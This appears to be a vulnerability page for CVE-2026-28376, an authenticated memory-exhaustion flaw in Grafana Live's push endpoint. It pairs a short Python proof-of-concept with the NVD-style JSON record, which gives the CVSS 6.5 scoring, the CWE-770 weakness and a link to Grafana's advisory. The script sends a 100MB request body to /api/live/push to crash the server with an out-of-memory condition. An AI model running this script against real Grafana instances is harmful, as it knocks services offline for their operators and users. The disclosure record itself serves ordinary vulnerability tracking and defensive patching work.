CVE-2026-28376

import requests # Target Grafana instance target_url = 'http://target-grafana:3000/api/live/push' auth_header = {'Authorization': 'Bearer <YOUR_TOKEN>'} # Create a large payload to trigger OOM # Sending 100MB of data in the request body payload = 'A' * (100 * 1024 * 1024) try: response = requests.post(target_url, headers=auth_header, data=payload) print(f'Exploit sent, status: {response.status_code}') except Exception as e: print(f'Error: {e}')

{"cve": {"id": "CVE-2026-28376", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:19.760", "lastModified": "2026-05-14T19:16:31.730", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-28376", "source": "[email protected]"}]}}